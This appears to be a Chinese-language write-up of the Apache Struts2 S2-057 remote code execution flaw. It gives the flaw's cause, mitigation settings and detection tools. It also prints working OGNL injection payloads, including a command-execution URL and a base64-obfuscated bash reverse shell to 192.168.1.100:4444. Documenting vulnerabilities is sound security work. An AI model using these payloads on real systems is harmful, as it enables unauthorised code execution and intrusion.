S2-057是Apache Struts2框架中的一个严重远程代码执行漏洞,于2018年8月22日公开。该漏洞存在于Struts2的核心机制中,当应用程序使用不正确的配置时,攻击者可以构造恶意请求实现远程代码执行。
漏洞源于Struts2在以下两种情况下未能正确验证URL: 1. 未设置namespace值或使用了通配符namespace 2. 上层action配置中未设置或使用了通配符namespace 3. url标签未设置value和action值
当Struts2处理请求时,如果namespace参数来自用户输入且未经过适当验证,攻击者可以构造恶意OGNL表达式,导致远程代码执行。
关键问题出现在DefaultActionMapper
类中,该组件负责将HTTP请求映射到Action调用。当处理重定向结果时,未能正确清理用户提供的namespace参数。
http://target/struts2-showcase/$%7B233*233%7D/actionChain1.action
构造包含OGNL表达式的URL:
http://target/struts2-showcase/$%7B@java.lang.Runtime@getRuntime().exec("calc")%7D/actionChain1.action
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}")}
${#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#f.println('test'),#f.flush(),#f.close()}
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
使用漏洞扫描工具:
http-vuln-cve2018-11776
手工检测:
bash
git clone https://github.com/hktalent/Struts2VulsTools
S2-057是一个严重的远程代码执行漏洞,影响范围广。IT安全团队应优先检查并修复受影响的Struts2应用。修复后应进行全面的安全测试以确保漏洞已被彻底解决。